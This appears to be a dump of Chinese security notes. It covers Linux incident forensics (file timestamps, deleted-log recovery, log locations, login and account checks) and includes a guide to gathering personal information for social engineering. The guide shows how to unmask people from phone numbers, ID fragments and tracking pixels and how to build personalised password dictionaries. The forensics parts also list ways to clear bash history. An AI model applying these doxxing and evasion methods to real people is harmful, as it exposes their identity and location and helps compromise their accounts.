find的-new参数还支持通过比较找出更新的文件。参考Y的时间找出满足条件的X文件。(Y给出时间的方式有两种,一种是通过指定使用某个文件的某项时间戳,另一个是直接通过t参数指定某个时间参考系) 110 | find / -newer[X:acm][Y:acm] filename 111 | find / -newer[X:acm]t 时间戳`yyyy-MM-dd hh:mm:ss` 112 | ``` 113 | 114 | 例子 115 | 116 | ```shell 117 | #(1) 50分钟前,1天内 权限755文件的访问记录 118 | find / -atime -1 -amin +50 -perm 755 119 | 120 | #(2) 1天前,10天内,访问的文件 121 | find / -atime -10 -atime +1 2>/dev/null 122 | 123 | #(3) 检查PATH对应的目录内一段时间内发生变动的文件 124 | OLD_IFS="$IFS" 125 | IFS=":" 126 | arr=($PATH) 127 | IFS="$OLD_IFS" 128 | for s in ${arr[@]} 129 | do 130 | find $s -atime -10 -amin +50 131 | find $s -ctime -10 -cmin +50 132 | find $s -mtime -10 -mmin +50 133 | done 134 | 135 | #(4)web目录内文件的时间戳排序 136 | for i in `find /var/www/html/ -type f`;do a=`stat $i|sed -n 6p`; echo "$a $i"; done |sort -nr 137 | 138 | #(5)满足modify时间戳在2020-04-27 10:04:36接下来1s内的文件。 139 | find / -newermt '2020-04-27 10:04:36' ! -newermt '2020-04-27 10:04:37' 2>/dev/null 140 | 141 | #(6)满足change时间戳在2020-04-27 10:04:31接下来1s内的文件。 142 | find / ! -newerct '2020-12-24 15:27:32' -newerct '2020-12-24 15:27:31' 2>/dev/null 143 | ``` 144 | 145 | 146 | 147 | ## 3 文件删除恢复 148 | 149 | ### 3.1 日志恢复 150 | 151 | 查找系统内已打开该文件进行读写的进程,通过访问文件描述符指向的数据空间从而访问已被标记删除的数据。 152 | 153 | 假设攻击者删除了/var/log/secure日志。可以通过lsof |grep /var/log/secure找到打开该文件进行读写的进程。一般来说,结果中会标记该日志为deleted。查看进程读写该日志文件时申请的文件描述符。通过访问/proc/$pid/fd/$num即可获得被删除的日志文件的数据。 154 | 155 | ```shell 156 | lsof |grep /var/log/secure|grep deleted #第2列pid,第4列fd 157 | cat /proc/$pid/fd/$fd >> /tmp/secure.resume 158 | 159 | ``` 160 | 161 | ### 3.2 有进程的文件恢复 162 | 163 | 文件虽然被删除,但是由于存在进程,通过/proc/$pid/exe可以恢复已被删除的文件。 164 | 165 | ```shell 166 | cat /proc/$pid/exe > /tmp/file.resume 167 | ``` 168 | 169 | ### 3.3 无进程的文件恢复 170 | 171 | 系统上某孤立(当前没有进程占用它)的文件被删除,且删除时间较短,可以采用本节的方法有针对性的尝试恢复。 172 | 173 | 在开始尝试对文件的恢复前要判断文件系统类型。 174 | ```shell 175 | df -T /home|grep dev 176 | ``` 177 | 注意:不同文件系统下的文件误删恢复技术还不尽相同,没有银弹。数据恢复是一门专门的技术门类。这里只给出最常见的几种文件系统下的数据恢复手段。 178 | 179 | #### 3.3.1 ext2文件系统-使用工具debugfs 180 | 181 | ext2是一类比较早的文件系统,Debian与RHEL的早期发行版常被安装在这类文件系统上。网上说debugfs可以对ext2文件系统下误删的文件进行恢复。 182 | 183 | debugfs是系统自带的软件,使用起来比较方便。恢复步骤如下: 184 | 185 | ```shell 186 | df ${被删文件所在目录}|grep dev #获得被删文件所在的分区 187 | 188 | debugfs -w $分区 #进入文件系统诊断模式 189 | >ls -d $被删位置 #获得被删文件的inode 190 | >lsdel #获得所有被删文件的inode 191 | >dump $恢复位置 #最终恢复 192 | 193 | 注意:该软件实测在ext4及xfs文件系统上不能进行文件恢复。 194 | ``` 195 | 196 | #### 3.3.2 ext3/ext4系统-使用extundelete 197 | 198 | extundelete可以帮助这种文件系统下误删文件的恢复,但是很遗憾该软件并未预装在系统环境内。因此使用该工具时要做一些额外的工作准备。 199 | 200 | (1) 准备好一套分析环境,安装好extundelete工具。 201 | ```shell 202 | #fix依赖 203 | Debian: sudo apt-get install e2fslibs-dev e2fslibs-dev 204 | CentOS: yum install e2fsprogs e2fsprogs-libs e2fsprogs-devel -y 205 | 206 | #源码编译 207 | wget https://jaist.dl.sourceforge.net/project/extundelete/extundelete/0.2.4/extundelete-0.2.4.tar.bz2 208 | tar -jxvf extundelete-0.2.4.tar.bz2 ; cd extundelete-0.2.4 209 | ./configure ; make && make install 210 | ``` 211 | 212 | (2) 挂载目标磁盘。 213 | 214 | ```shell 215 | dd if=/dev/sda of=/dev/sdc #备硬盘sda的内容到硬盘sdc上。后者空间一定要不小于前者 216 | mkdir -p /mnt/sdc 217 | mount /dev/sdc /mnt/sdc 218 | ``` 219 | 220 | (3) 尝试进行恢复 221 | 222 | 参考下面两篇文章。 223 | 224 | https://www.cnblogs.com/fat-girl-spring/p/14030840.html 225 | 226 | https://www.lucktang.com/2636.html 227 | 228 | #### 3.3.3 xfs文件系统-使用xfsrestore 229 | 230 | xfs是当前RHEL下常用的文件系统。xfsdump与xfsrestore可以帮助这种文件系统下数据的恢复。 231 | 232 | https://blog.csdn.net/weixin_46202385/article/details/108383197 233 | 234 | 235 | ## 4 常见典型日志位置 236 | 237 | ### 4.1 登录日志 238 | 239 | | 路径 | 作用 | 240 | | ------------------------ | ----------------------------------------------------- | 241 | | /var/log/audit/audit.log | 审计日志 | 242 | | /var/log/messages | 记录Linux操作系统常见的系统和服务错误信息 | 243 | | /var/log/secure | 系统安全日志,记录大部分应用输入账户信息后的登陆情况 | 244 | | /var/log/lastlog | 记录最后一次用户成功登陆的时间、登陆IP等信息。lastlog | 245 | | /var/log/btmp | 记录Linux登陆失败的用户、时间以及远程IP地址。lastb | 246 | | /var/log/wtmp | 永久记录用户登录事件。last | 247 | 248 | 特别地,前三种日志中的登录事件可以在使用systemd的linux下使用journalctl命令进行访问。关于ftp、telnet的登录日志也记录在该文件中。 249 | 250 | ### 4.2 启动和内核日志 251 | 252 | 内核相关:/var/log/dmesg(或dmesg命令)、/var/log/kern.log 253 | 254 | 启动日志:/var/log/boot 255 | 256 | ### 4.3 web日志 257 | 258 | web日志的默认路径如下,如果不存在,则需要查看web配置文件。 259 | 260 | ```shell 261 | debian-nginx: /var/log/nginx/access.log 262 | debian-apache: /var/log/apache2/access.log 263 | centos-apache: /var/log/httpd/access_log 264 | centos-nginx: /var/log/nginx/access.log 265 | ``` 266 | 267 | nginx配置文件:nginx.conf(一般是/etc/nginx/nginx.conf) 268 | 269 | Debian-apache配置文件:httpd.conf(一般是/etc/httpd/conf/httpd.conf) 270 | 271 | Centos-httpd配置文件:一般定位下来是在000-default.conf与default-ssl.conf中。 272 | 273 | ### 4.4 防火墙日志 274 | 275 | iptables: 276 | 277 | 如果开启了日志开关(/etc/syslog.conf内添加 kern.warning /var/log/iptables.log),则根据开关内的配置位置进行输出。开启时默认输出在/var/log/messages。 278 | 279 | firewalld: 280 | 281 | 从dmesg中过滤出相关的信息。 282 | 283 | ### 4.5 其他/var/log日志 284 | 285 | 其他日志: 286 | 287 | ```shell 288 | /var/log/cron :记录crond计划任务服务执行情况 289 | /var/log/maillog :邮件系统日志 290 | /var/log/syslog :记录警告信息 291 | /var/log/xferlog :记录FTP会话 292 | /var/log/daemon.log 系统进程日志 293 | ``` 294 | 295 | 注意:如果有日志转储功能开启,根据/etc/logrotate.conf找到转储后的日志文件进行分析。 296 | 297 | 298 | -------------------------------------------------------------------------------- /信息收集/自然人信息社工.md: -------------------------------------------------------------------------------- 1 | 人,是网络安全全流程中最大的弱点。针对人的攻击往往有出奇不意的效果。而想要利用人的弱点进行攻击,那么对目标的信息收集与了解就是非常重要的了。这篇文章记录了一些常用的用于对人进行身份信息收集的技术。这些技术常被用于溯源取证、社工攻击。 2 | 3 | 4 | 5 | ## 0x00 社工分析中的身份信息收集 6 | 7 | 关于人的社工分析有很多维度的信息都值得被关注。但不管怎样,开展身份信息社工工作往往都是从一些关于人的最基本的信息开始的,身份信息的收集过程就是尽可能使用有限信息关联出其他信息的过程。 8 | 9 | 这里,将关于人的信息,简单分为两大类。 10 | 11 | 第一类,基本信息。如:**姓名**,**昵称**,**手机号码**,**邮箱地址**,**各类证件**,**社交账号**。这类信息能在溯源中帮助确定人的身份。是人在进行社交过程中不可避免使用的信息,用来在社会中表明他的身份,是在社会中生活的名片。 12 | 13 | 第二类,其他信息。如:**居住地**、**爱好**、**家庭状况**、**婚姻状态**、**职业**。这类信息能帮助我们更好的了解一个人的生活习惯与生活状态,代表人的特点。在生成定制化的社工字典时很有用。 14 | 15 | 下面介绍常用到的信息收集方法。 16 | 17 | 18 | 19 | ### 1 搜索引擎关键字检索 20 | 21 | 最傻但往往最有效的办法,就是关键字搜索。但想要达到比较好的效果,依赖不少条件: 22 | 23 | 1.关键字不能过于过于大众化,可以选择多个与目标相关的关键字组合; 24 | 25 | 2.目标必须在互联网上有一定的活跃度; 26 | 27 | 3.尽量使用google、duckduckgo等国外搜索引擎。他们的屏蔽的网页与结果较少。 28 | 29 | 30 | 31 | ### 2 已注册网站查询 32 | 33 | 互联网上存在一类网站,这类网站旨在收集并存储用户的各种活动信息用以构建用户画像,或收集历次信息泄露事件中的数据库。这里先不讨论此类网站动机如何,是否真实有效,但一定程度上也给其他人提供了获得目标更多信息的方式。通过泛社工库查询,可以获得目标注册过的社交网站、甚至旧密码。 34 | 35 | #### 2.1 REG007 36 | 37 | 查询**邮箱**、**手机号**注册过哪些社交平台:www.reg007.com 38 | 39 | #### 2.2 手工查询 40 | 41 | 使用个网站的注册功能输入目标的邮箱地址或手机号,查看页面是否提示该邮箱、手机号被占用。 42 | 43 | ### 3 社工库查询 44 | 45 | 搭建社工库泄露用户隐私数据是犯法的。公网上很难找到,提供泄露数据细节的社工库,如果真的有,那么其动机也是值得高度怀疑的,使用时输入的信息极有可能被记录,用于溯源与黑吃黑。比较多的是一类脱敏后的网站,帮助用户查询自己的信息是否泄露。这两种方式都能帮助判断目标是否注册了某平台的账号。 46 | 47 | #### 3.1 泄露检查查询 48 | 49 | | 网站名 | 地址 | 可查询项 | 50 | | --------------- | --------------------------- | -------------------------------- | 51 | | Firefox Monitor | https://monitor.firefox.com | 邮箱 | 52 | | HaveIBeenPwned | https://haveibeenpwned.com | 邮箱 | 53 | | Aleph | https://aleph.occrp.org/ | 名称、手机号码、邮箱 | 54 | | snusbase | https://snusbase.com/ | 邮箱、名称、IP、电话、哈希、密码 | 55 | | checkusernames | https://checkusernames.com/ | 名称 | 56 | | Intelligence X | https://intelx.io/ | 邮箱、IP、CIDR、比特币地址 | 57 | | dehashed | http://www.dehashed.com/ | 邮箱、用户名、IP | 58 | | IsLeaked | https://isleaked.com/ | 邮箱 | 59 | | KnowEm | https://knowem.com/ | 名称 | 60 | 61 | #### 3.2 社工库查询 62 | 63 | 64 | 65 | ### 4 姓名确认术 66 | 67 | #### 4.1 通过手机号确定姓名 68 | 69 | 1> 支付宝 70 | 71 | 当手机号绑定了支付宝且完成了实名认证时,通过支付宝转账功能可以查到对方的姓名。 72 | 73 | 如果对方的姓名只有两个字,只需手工猜出姓即可。 74 | 75 | 如果对方的姓名多于两个字,可以知道最后一个名,并通过枚举姓的方式确定到姓。 76 | 77 | 通过以上的方式,能保证在未实际转账的情况下获得姓名中的绝大部分。如果使用支付宝使用**工商银行**/**网商银行**进行转账,且转账成功,那么在银行app的查询明细中能看到姓名全称。 78 | 79 | ps: 微信的“**银行卡或手机号转账**”也有相同的效果,但是开通微信手机号转账的人很少。 80 | 81 | 2> 钉钉 82 | 83 | 如果目标使用过钉钉,可以使用在钉钉内使用手机号搜索,可以直接查出用户名。 84 | 85 | 3> 社工库 86 | 87 | 88 | 89 | #### 4.2 百家姓频数表 90 | 91 | 鉴于有时需要用到姓名猜测,有一个关于姓的频数统计表还是蛮有作用的,能帮我们从高频到低频尽快的猜到正确的姓。 92 | 93 | ```text 94 | 李 王 张 刘 陈 杨 赵 黄 周 吴 徐 孙 胡 朱 高 林 何 郭 马 罗 梁 宋 郑 谢 韩 唐 冯 于 董 萧 程 曹 袁 邓 许 傅 沈 曾 彭 吕 苏 卢 蒋 蔡 贾 丁 魏 薛 叶 阎 余 潘 杜 戴 夏 钟 汪 田 任 姜 范 方 石 姚 谭 廖 邹 熊 金 陆 郝 孔 白 崔 康 毛 邱 秦 江 史 顾 侯 邵 孟 龙 万 段 漕 钱 汤 尹 黎 易 常 武 乔 贺 赖 龚 文 庞 樊 兰 殷 施 陶 洪 翟 安 颜 倪 严 牛 温 芦 季 俞 章 鲁 葛 伍 韦 申 尤 毕 聂 丛 焦 向 柳 邢 路 岳 齐 沿 梅 莫 庄 辛 管 祝 左 涂 谷 祁 时 舒 耿 牟 卜 路 詹 关 苗 凌 费 纪 靳 盛 童 欧 甄 项 曲 成 游 阳 裴 席 卫 查 屈 鲍 位 覃 霍 翁 隋 植 甘 景 薄 单 包 司 柏 宁 柯 阮 桂 闵 欧阳 解 强 柴 华 车 冉 房 边 滕 晋 苑 邬 臧 畅 宫 来 苟 全 褚 廉 简 娄 盖 符 奚 木 穆 党 燕 郎 邸 冀 谈 姬 屠 连 郜 晏 栾 郁 商 蒙 计 喻 揭 窦 迟 宇 敖 糜 鄢 冷 卓 花 仇 艾 蓝 都 巩 稽 井 练 仲 乐 虞 卞 封 竺 冼 原 官 衣 楚 佟 栗 匡 宗 应 台 巫 鞠 僧 桑 荆 谌 银 扬 95 | ``` 96 | 97 | 98 | 99 | ### 5 社交账号社工术 100 | 101 | #### 5.1 微信、支付宝 102 | 103 | 微信、支付宝直接在添加好友处搜手机号 104 | 105 | 106 | 107 | #### 5.2 QQ、快手、抖音、百度云网盘、京东、脉脉、网易云、微博 108 | 109 | 将手机号存入通讯录,然后在以下社交账号内开启通讯录同步,点**添加/发现好友**,获得对方社交账号。(需要开启应用访问通讯录权限) 110 | 111 | 112 | 113 | #### 5.3 搜索引擎关键词查找 114 | 115 | 在google、duckduckgo上搜索手机号 116 | 117 | 118 | 119 | #### 5.4 社工库 120 | 121 | 122 | 123 | ### 6 位置信息 124 | 125 | #### 6.1 时区 126 | 127 | 通过人的社交时间、语言、分享动态推断目标大致所在的时区。 128 | 129 | 130 | 131 | #### 6.2 精确位置 132 | 133 | **屌丝级**:**各类带有地理位置元数据的文件**、**keep**、**行者**、**朋友圈**分享的位置记录 134 | 135 | **黑客级**:欺骗用户安装能够实时获取GPS坐标的APP、诱导用户点击获取位置的链接 136 | 137 | **政府级**:利用小区基站实现定位、利用信令漏洞定位 138 | 139 | 140 | 141 | #### 6.3 通过IP查地理位置 142 | 143 | IP地理位置查询:https://qifu.baidu.com/?activeKey=SEARCH_IP 144 | 145 | IP地址定位:https://www.ipuu.net 146 | 147 | 148 | 149 | ### 7 邮箱信息收集 150 | 151 | 显然的,腾讯系的邮箱基本都是以数字打头的,暴露了QQ号。 152 | 153 | 部分网易126,163邮箱以手机号命名,暴露了手机号。 154 | 155 | 部分邮箱以名称+数字命名,暴露了姓名。 156 | 157 | 158 | 159 | #### 7.1 收方回溯发方地址 160 | 161 | 查看邮件信件代码,标头内可以看到发送者的地址信息。 162 | 163 | 如果邮件表头内含有"X-Originating-IP:"的key值,value值即为发送者的IP。比较常见的QQ邮箱、126邮箱,都有本字段。 164 | 165 | 如果没有该字段,可以考虑标头内的Received字段。(多个Received字段时考虑最底部的,不一定有,有也不一定准) 166 | 167 | 168 | 169 | #### 7.2 发方写邮件探针 170 | 171 | 原理是通过在邮件内容中嵌入动态加载的外部图片,当收信人点开邮件时就会在图片服务器上留下IP。 172 | 173 | 具体方式是以源代码或文本模式写一封邮件,在邮件正文中嵌入图片html格式的图片链接。可以将图片自身的大小设的非常小,且将img字段设为不可见。这样攻击者打开邮件也无法感知。 174 | 175 | ```text 176 | 一组萌萌哒小猫咪表情包 177 | ``` 178 | 179 | 180 | 181 | ### 8 脱敏恢复 182 | 183 | #### 8.1 身份证号脱敏恢复 184 | 185 | 身份证号是的编排是有一定规律可循的。除了最后1位是校验位外,其余各位与出生地、出生日期、性别、出生编号系系相关,因此即使是经脱敏处理的身份证号,仍能通过程序分析的方式过滤出可能的身份证序列组合。 186 | 187 | 这里写了一个[脱敏身份证恢复工具](https://github.com/aplyc1a/toolkits/blob/master/0x01%20%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/info-sfz.py),支持对身份证后4、6位及身份证内生日的爆破。 188 | 189 | #### 8.2 手机号脱敏恢复 190 | 191 | 介绍怎么尽可能的恢复手机号的所有位数,但在此之前需要一定的知识介绍。 192 | 193 | 手机号码的11位是有规律可循的。 194 | 195 | | 1-3位 | 4-7位 | 8-11位 | 196 | | ---------- | -------- | -------- | 197 | | 移动接入码 | 地区编码 | 用户号码 | 198 | 199 | 200 | 201 | **移动接入码** 202 | 203 | | 运营商类型 | 移动接入码 | 204 | | ---------- | ------------------------------------------------------------ | 205 | | 电信 | 133 149 153 173 174 177 180 181 189 191 199 | 206 | | 联通 | 130 131 132 145 146 155 156 166 167 171 175 176 185 186 | 207 | | 移动 | 134 135 136 137 138 139 147 148 150 151 152 157 158 159 172 178 182 183 184 187 188 195 198 | 208 | | 虚拟运营商 | 162 165 167 170 171 | 209 | 210 | 移动接入码是由运营商去向工信部申请,由工信部统一颁发的,每颁发一次,都会发布一个《电信网号码资源使用证书》。通过下载历年的证书我们能获得不同号段的分配说明。这里有个问题,国家这些年一直在推携号转网,初衷是帮助用户能够自主切换号码的运营商,如果真的全面推展开,且大家的使用积极性很高的化,那移动接入码就不再能准确区分手机号码是哪家运营商的了,但从目前的结果来看,通过移动接入码来判断运营商归属仍然是一个高度有效的方法。 211 | 212 | 213 | 214 | **地区编码** 215 | 216 | 地区编码的具体数值分配由各运营商管理,因此很难给出一个通用的结构组成。所幸,网上有人专门通过爬虫等方式收集了运营商的地区编码数据库。如下所示: 217 | 218 | https://github.com/dannyhu926/phone_location 219 | 220 | 221 | 222 | ##### 8.2.1 已知目标手机号前3后4位+城市 223 | 224 | 使用下面这个shell命令简单分析以下,可以发现,如果移动接入码固定的情况下,一个城市的前7位(移动接入码+地区编码)的可能性不超过5000,更普遍的情况下是可以控制在500以内的。 225 | 226 | ```shell 227 | array=( 134 135 136 137 138 139 147 148 150 151 152 157 158 159 172 178 182 183 184 187 188 195 198 130 131 132 145 146 155 156 166 167 171 175 176 185 186 133 149 153 173 174 177 180 181 189 191 199 ) 228 | for i in ${array[@]}; do cat phone_location.sql |grep "'$i'"|awk '{print $8}'|sort -nr | uniq -c|sort -nr|head -n 1; done 229 | ``` 230 | 231 | 232 | 233 | 因此,这时,如果已知手机号前3后4位时,如果知道目标所处的位置将能极大的缩小目标号码的可能范围。结果的可能数<=5000。 234 | 235 | 236 | 237 | ##### 8.2.2 已知目标手机号后4位+城市 238 | 239 | 使用下面的shell命令简单分析一下,可以发现,如果只知道目标所处的城市,那么前7位的可能性不超过20000。 240 | 241 | ```shell 242 | clear;cat phone_location.sql |awk '{print $8}'|sort -nr|uniq -c |sort -nr|head -n 10 243 | ``` 244 | 245 | 因此,总的来说这种情况下需要遍历的手机号可能不超过20000。 246 | 247 | 248 | 249 | ##### 8.2.3 已知后4位 250 | 251 | 如果只知道后4位别的一概不知,则要尝试482049次,才能保证遍历到正确的目标号码。 252 | 253 | ```shell 254 | clear;cat phone_location.sql |grep "INSERT"|grep "phone_location"|wc -l 255 | ``` 256 | 257 | 258 | 259 | ### 9 其他 260 | 261 | 围绕得到的基本信息,可以在社交帐号内进行进一步的信息挖掘,获得其他信息。 262 | 263 | 264 | 265 | #### 9.1 字典定制化 266 | 267 | 理想情况下的一个人的互联网账户都要满足登录密码需要满足长度、复杂度、无意义、唯一性的要求,但实际操作起来这是几乎不可能的。 268 | 269 | 实际场景下对口令的选取往往围绕用户自身及周边的特点展开。如果信息收集的足够彻底,我们可以依据以下的信息,生成关键词根,通过词根间的组合填充,进而生成定制化字典。 270 | 271 | ```text 272 | { 273 | "人":{ 274 | "拼音全称1":"chuanjianguo", 275 | "拼音全称2":"ChuanJianguo", 276 | "拼音简写1":"CJg", 277 | "拼音简写2":"cjg", 278 | "拼音全称3":"jianguo" 279 | }, 280 | "生日":{ 281 | "生日全部1":"20210512", 282 | "生日部分":"0512" 283 | }, 284 | "电话": { 285 | "手机号后6位":"123456", 286 | "手机号后4位":"3456" 287 | }, 288 | "学校":{ 289 | "学号":"123456", 290 | "毕业或入学年份":"2021" 291 | }, 292 | "sfz":{ 293 | "sfz后6位":"654321", 294 | "sfz后4位":"4321" 295 | }, 296 | "爱好/宠物":{ 297 | "关键字":"xiuer" 298 | }, 299 | "公司":{ 300 | "name1":"Google", 301 | "name2":"GG" 302 | }, 303 | "其他":{ 304 | "通用词缀":"略" 305 | } 306 | } 307 | ``` 308 | 309 | 310 | 311 | #### 9.2 口令哈希逆向查询 312 | 313 | 在线密文密码查询网站,有时能帮助我们得到明文密码。 314 | 315 | https://cmd5.com/ 316 | 317 | #### 9.3 图片搜索 318 | 319 | **百度识图**:https://image.baidu.com/?fr=shitu 320 | 321 | **谷歌识图**:https://images.google.com/ 322 | 323 | -------------------------------------------------------------------------------- /取证溯源/Linux取证-(1).md: -------------------------------------------------------------------------------- 1 | [TOC] 2 | 3 | 4 | # 0x00 简介 5 | 攻击溯源场景下的Linux取证分析 6 | 7 | # 0x01 历史记录分析 8 | ## 1 历史记录残余 9 | 10 | history命令用于查看历史输入的命令。实质是对~/.bash_history内容的解析,顾名思义,依赖当前的$SHELL为"/bin/bash"。 11 | 12 | | **history 清理方法** | **特征** | 13 | | -------------------------------- | ----------------------------- | 14 | | 退出前,history -c | 难以发现 | 15 | | vi ~/.bash_history | 历史记录中留下该命令 | 16 | | echo > ~/.bash_history | 历史记录中留下该命令 | 17 | | vim :set history=0 :!command | 只会留下vim,但很少有人这么搞 | 18 | | 直接删除 | 会发现文件被清空 | 19 | 20 | ## 2 历史记录加固 21 | 22 | ### 2.1 记录数扩展 23 | 24 | ```shell 25 | sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile 26 | ``` 27 | 28 | ### 2.2 记录内容扩展 29 | 30 | 编辑/etc/profile,加入以下内容 31 | 32 | ```shell 33 | USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'` 34 | if [ "$USER_IP" = "" ] 35 | then 36 | USER_IP=`hostname` 37 | fi 38 | export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " 39 | shopt -s histappend 40 | export PROMPT_COMMAND="history -a" 41 | ``` 42 | 43 | ### 2.3 防篡改删除加固 44 | 45 | 使用root权限对所有history文件进行加固。只有拥有root用户才能直接编辑该文件,一定程度上起到保护作用。 46 | 47 | ```shell 48 | chattr +a ~root/.bash_history 49 | chattr +a ~{other_user}/.bash_history 50 | ``` 51 | 52 | ### 2.4 其他 53 | 54 | https://blog.csdn.net/skate6/article/details/66971077 55 | 56 | # 0x02 账号排查 57 | 58 | ## 1 新增用户 59 | 60 | ```shell 61 | #过滤所有有shell的用户 62 | cat /etc/passwd|grep sh 63 | 64 | #分析最近一次/etc/passwd的变动是什么 65 | diff /etc/passwd /etc/passwd- 66 | 67 | # 按照uid进行排序,关注uid重复的用户有木有。 68 | cat /etc/passwd|awk -F: '{print $3"\t"$4"\t"$1"\t"$7}'|sort -n|grep sh 69 | ``` 70 | 71 | + ps: passwd-时间戳,可以用于时间戳关联分析 72 | 73 | ```shell 74 | stat /etc/passwd- 75 | ``` 76 | 77 | ## 2 sudo用户识别 78 | 79 | ```shell 80 | #1 识别加入sudo组的用户 81 | #RHEL系: 82 | cat /etc/gshadow|grep wheel 83 | #Debian系: 84 | cat /etc/gshadow|grep admin 85 | 86 | #2 识别对sudoers文件内加入的异常配置 87 | cat /etc/sudoers|grep -Ev "^$|#" | grep "=(" 88 | ``` 89 | 90 | ## 3 弱口令、空口令、未知公钥 91 | 92 | 登录公钥提取 93 | 94 | ```shell 95 | USER_LIST=`cat /etc/passwd|grep bash | awk -F: '{print $1}'` 96 | for i in $USER_LIST; do cat ~${USER_LIST}/.ssh/authorized_keys; done 97 | #或者 98 | cat /etc/passwd |cut -d: -f 6 | xargs -I@ /bin/sh -c "cat @/.ssh/authorized_keys 2>/dev/null"| sort| uniq -c 99 | ``` 100 | 101 | 对于发现的公钥,可以参考下面办法,识别是否由未知IP的未知登录。(不用管公钥后的用户名信息是否存在) 102 | 103 | ```shell 104 | grep -rn `sed -n '1p' ~/.ssh/authorized_keys |ssh-keygen -lf -|awk '{print $2}'` /var/log 105 | ``` 106 | 107 | # 0x03 登录记录分析 108 | 109 | ## 1 成功登录事件 110 | 111 | 提取成功登录的事件 112 | 113 | ```shell 114 | grep -rn " Accepted password " /var/log 115 | grep -rn " Accepted publickey " /var/log 116 | ``` 117 | 118 | 记录登录事件的日志比较多,大的来说分两类:一类是last日志,记录的很粗糙,这里就不展开了。一类是/var/log下的系统日志(auth,audit,secure,具体是其中的哪一个与系统系统有关) 119 | 120 | 下面给出一个表格,表格中的命令帮助给出:由低到高的频数登录事件 121 | 122 | | **系统派系** | **系统名称** | **日志路径** | **提取登录事件的命令** | 123 | | ------------ | ------------ | ------------------------------ | ------------------------------------------------------------ | 124 | | RHEL | HWEuler | /var/log/messages | cat messages* \| grep sshd \| grep "Accepted password"\|awk '{print $11}'\|sort -nr \|uniq -c\|sort -nr | 125 | | Debian | Ubuntu20 | /var/log/auth.log | cat auth.log \|grep sshd\|grep "Accepted password"\|awk '{print $11}'\|sort -nr \|uniq -c\|sort -nr | 126 | | Debian | Kali-2020 | /var/log/auth.log | cat auth.log \|grep sshd\|grep "Accepted password"\|awk '{print $11}'\|sort -nr \|uniq -c\|sort -nr | 127 | | Debian | Kali-2020 | /var/log/journal/ | journalctl \|grep sshd\|grep "Accepted password"\|awk '{print $11}'\|sort -nr \|uniq -c\|sort -nr | 128 | | RHEL | CentOS8 | /var/log/secure | cat secure\|grep sshd\|grep "Accepted password"\|awk '{print $11}'\|sort -nr \|uniq -c\|sort -nr | 129 | | any | any | /var/log/btmp(失败) | lastb\|awk '{print $3}'\|sort \|uniq -c\|sort -nr | 130 | | any | any | /var/log/wtmp(成功) | last\|grep -v "reboot"\|awk '{print $3}'\|sort -nr\|uniq -c\|sort -nr | 131 | | any | any | /var/log/lastlog(最近一次成功) | 除了发现非正常账户登录以外用处不大 | 132 | 133 | 134 | 135 | 同时,对于部分有转储的日志可以将其解压合并后进行分析,如/var/log/messages: 136 | 137 | ```shell 138 | mkdir /var/log/msg ;cp -a /var/log/messages* /var/log/msg; cd /var/log/msg; gunzip -d ./*; 139 | ``` 140 | 141 | 142 | 143 | 已经成功登录的未知IP,使用网上的批量查询工具识别IP所在地: 144 | 145 | https://ip.tool.chinaz.com/siteip 146 | 147 | ## 2 登录手段分析 148 | 149 | 登录事件中指示“Accepted publickey”说明是公钥登录,要及时删掉账户目录下的公钥。 150 | 151 | 登录事件中指示“Accepted password”说明是口令登录,口令失窃有多种可能,其中一种是暴力破解,这时日志中会伴随大量的登录尝试失败事件。 152 | 153 | | 系统派系 | 系统类型 | 日志位置 | 提取登录尝试事件的命令 | 154 | | :------- | :------- | :---------------- | :----------------------------------------------------------- | 155 | | RHEL | HWEuler | /var/log/messages | cat messages*\|grep sshd\|grep Failed\|awk '{print $11}'\|sort\|uniq -c\|sort -nr | 156 | | RHEL | CentOS8 | /var/log/secure | cat secure \|grep sshd\|grep Failed\|awk '{print $11}'\|sort\|uniq -c\|sort -nr | 157 | | Debian | ubuntu20 | /var/log/auth.log | cat auth.log\|grep sshd\|grep Failed\|awk '{print $11}'\|sort\|uniq -c\|sort -nr | 158 | 159 | 嫌麻烦?直接用这条命令粗筛。 160 | 161 | ```shell 162 | cat /var/log/*.log|grep sshd|grep "Failed"|awk '{print $11" "$9" "$7}'|sort |uniq -c|sort -nr 163 | ``` 164 | 165 | + ps:登录日志被删的但一定条件下可还原 166 | 167 | 168 | 169 | # 0x04 网络检查 170 | 171 | ## 1 异常通信进程 172 | 173 | netstat与ss命令互为替代。 174 | 175 | + ps:从这开始就要特别关注取证命令有没有可能被篡改了。被篡改的命令可能有针对性的屏蔽关键字或rootkit进程。怎么排除干扰后面会专门拉出来说。 176 | 177 | 以下两命令给出系统内已有的所有绑定了tcp&udp端口的通信,-a表示all(listen/establish/...) 178 | 179 | ```shell 180 | /usr/bin/netstat -ntuap 181 | /usr/bin/ss -ntuap 182 | ``` 183 | 184 | 隐蔽通信(例如使用icmp隧道)可能使用非tcp/udp的原始套接字(sock_raw)。 185 | 186 | ```shell 187 | netstat -awp 188 | ss -awp 189 | lsof | grep raw 190 | ``` 191 | 192 | 193 | 194 | ## 2 异常配置检查 195 | 196 | 用处不太大,有时能帮助识别潜在风险。 197 | 198 | ### 2.1 dns配置 199 | 200 | 关注异常的dns服务器地址,dns服务被劫持可用于流量劫持与钓鱼。 201 | 202 | ```shell 203 | # 本地 主机名=》ip映射表 204 | cat /etc/hosts 205 | # dns服务配置文件 206 | cat /etc/resolv.conf 207 | ``` 208 | 209 | 如果自身为dns服务器且安装nscd服务时,可能特别关注缓存有无被篡改。 210 | 配置文件地址及日志:/etc/nscd.conf /var/log/nscd.log 211 | 缓存地址:/var/db/nscd/(如果有nscd服务,对应于dns缓存) 212 | 213 | ### 2.2 访问控制配置 214 | 215 | ```shell 216 | /etc/hosts.allow 白名单 217 | /etc/hosts.deny 黑名单 218 | firewall-cmd --zone=public --list-ports 219 | iptables -L 220 | ``` 221 | 222 | ### 2.3 仓库源检查 223 | 224 | 防止仓库地址被篡改造成潜在风险的供应链攻击风险。 225 | 226 | ```shell 227 | # Debian系: 228 | /etc/apt/sources.list 229 | /etc/apt/sources.list.d/ 230 | # RHEL系: 231 | /etc/yum.repos.d/ 232 | ``` 233 | 234 | ### 2.4 网卡工作模式 235 | 236 | 局域网嗅探时,网卡往往被设置为混杂模式。 237 | 238 | ifconfig -a|grep "UPBROADCAST RUNNING PROMISC MULTICAST" 239 | 